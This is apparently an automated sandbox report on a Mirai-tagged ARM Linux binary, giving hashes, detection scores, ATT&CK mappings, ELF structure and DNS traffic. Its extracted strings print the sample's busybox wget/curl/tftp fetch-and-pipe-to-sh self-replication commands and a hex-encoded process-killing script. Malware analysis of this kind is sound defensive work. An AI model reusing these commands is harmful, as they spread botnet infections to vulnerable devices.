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Linux Analysis Report
Uskdvdckvm.elf

Overview

General Information

Sample name:	Uskdvdckvm.elf renamed because original name is a hash value
Original sample name:	acc46288fb123eb0f85e91c746e99d63.elf
Analysis ID:	1432449
MD5:	acc46288fb123eb0f85e91c746e99d63
SHA1:	39c22df3e6ea1ae393f95e5e3a1631a1444da331
SHA256:	21cdb7e9a1de6621f6d1bc1370835bbfd0b3d3a901bcf4050bdc27c8676e3707
Tags:	32armelfmirai
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Exit code information suggests that the sample terminated abnormally, try to lookup the sample's target architecture.

Non-zero exit code suggests an error during the execution. Lookup the error code for hints.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432449
Start date and time:	2024-04-27 06:24:01 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Uskdvdckvm.elf renamed because original name is a hash value
Original Sample Name:	acc46288fb123eb0f85e91c746e99d63.elf
Detection:	MAL
Classification:	mal48.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/Uskdvdckvm.elf
PID:	5496
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

Uskdvdckvm.elf (PID: 5496, Parent: 5418, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/Uskdvdckvm.elf

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: Uskdvdckvm.elf	String found in binary or memory: http:///curl.sh
Source: Uskdvdckvm.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/0@2/0

Source: /tmp/Uskdvdckvm.elf (PID: 5496)

Queries kernel information via 'uname':

Jump to behavior

Source: Uskdvdckvm.elf, 5496.1.00007fff864ac000.00007fff864cd000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/Uskdvdckvm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Uskdvdckvm.elf
Source: Uskdvdckvm.elf, 5496.1.0000563a1b3b8000.0000563a1b4e6000.rw-.sdmp	Binary or memory string: :V!/etc/qemu-binfmt/arm
Source: Uskdvdckvm.elf, 5496.1.0000563a1b3b8000.0000563a1b4e6000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: Uskdvdckvm.elf, 5496.1.00007fff864ac000.00007fff864cd000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: Uskdvdckvm.elf, 5496.1.00007fff864ac000.00007fff864cd000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Uskdvdckvm.elf	58%	ReversingLabs	Linux.Trojan.Mirai
Uskdvdckvm.elf	35%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	Uskdvdckvm.elf	false		low
http:///curl.sh	Uskdvdckvm.elf	false		low

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	nuT3xNi2JJ.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	ZzpHJ5sMvC.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	4EzdJ7izf4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	GdfWOGzXow.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	MEyL2q7wA5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	4ShRJ4y7f6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	mAJ0gF8xM2.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	0fKTty8KAX.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	mG0CUyFnyP.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.24
	5JWSChksKD.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.25

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.006562453169275
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Uskdvdckvm.elf
File size:	74'936 bytes
MD5:	acc46288fb123eb0f85e91c746e99d63
SHA1:	39c22df3e6ea1ae393f95e5e3a1631a1444da331
SHA256:	21cdb7e9a1de6621f6d1bc1370835bbfd0b3d3a901bcf4050bdc27c8676e3707
SHA512:	e33d2a001f3c109025d5506af99c86644b61c5f2530a4ce08fe7031c0148cb375ed3a8156c34d38057a2b1d9d95ba4ef9015d319e09ba100948d0d334b847b2c
SSDEEP:	1536:zxnV7fXwKI+2Cb86dqyu0ymffRxFzWynAR3rMNi219RRdHs8JnI8sR:nfwu1b86MynRxFzn19RRdHs8JnI
TLSH:	5773E986B991CA55C5D452BEFA2E518D331327B8D3DF7213DE106F247B8A82B0D3B942
File Content Preview:	.ELF..............(.....T...4...."......4. ...(.....................h...h................ ... ... ..8...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.8"....... ....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74416
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x107fc	0x0	0x6	AX	16
.fini	PROGBITS	0x188ac	0x108ac	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x188bc	0x108bc	0x11ac	0x0	0x2	A	4
.init_array	INIT_ARRAY	0x22004	0x12008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x22008	0x1200c	0x4	0x0	0x3	WA	4
.jcr	PROGBITS	0x2200c	0x12010	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x22010	0x12014	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x22084	0x12088	0x1b4	0x0	0x3	WA	4
.bss	NOBITS	0x22238	0x1223c	0x346c	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1223c	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1224c	0x62	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x11a68	0x11a68	6.1012	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x12004	0x22004	0x22000	0x238	0xb6a0	2.3612	0x6	RW	0x8000	.init_array .fini_array .jcr .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 27, 2024 06:24:53.567960024 CEST	41898	53	192.168.2.14	1.1.1.1
Apr 27, 2024 06:24:53.568031073 CEST	54136	53	192.168.2.14	1.1.1.1
Apr 27, 2024 06:24:53.656482935 CEST	53	54136	1.1.1.1	192.168.2.14
Apr 27, 2024 06:24:53.657052994 CEST	53	41898	1.1.1.1	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 27, 2024 06:24:53.567960024 CEST	192.168.2.14	1.1.1.1	0xf90a	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:24:53.568031073 CEST	192.168.2.14	1.1.1.1	0xb1d	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 06:24:53.657052994 CEST	1.1.1.1	192.168.2.14	0xf90a	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:24:53.657052994 CEST	1.1.1.1	192.168.2.14	0xf90a	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: Uskdvdckvm.elf PID: 5496, Parent PID: 5418

General

Start time (UTC):	04:24:51
Start date (UTC):	27/04/2024
Path:	/tmp/Uskdvdckvm.elf
Arguments:	/tmp/Uskdvdckvm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: Uskdvdckvm.elf	ReversingLabs: Detection: 57%
Source: Uskdvdckvm.elf	Virustotal: Detection: 34%			Perma Link

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report Uskdvdckvm.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: Uskdvdckvm.elf PID: 5496, Parent PID: 5418

General

Chronological Activities

Linux Analysis Report
Uskdvdckvm.elf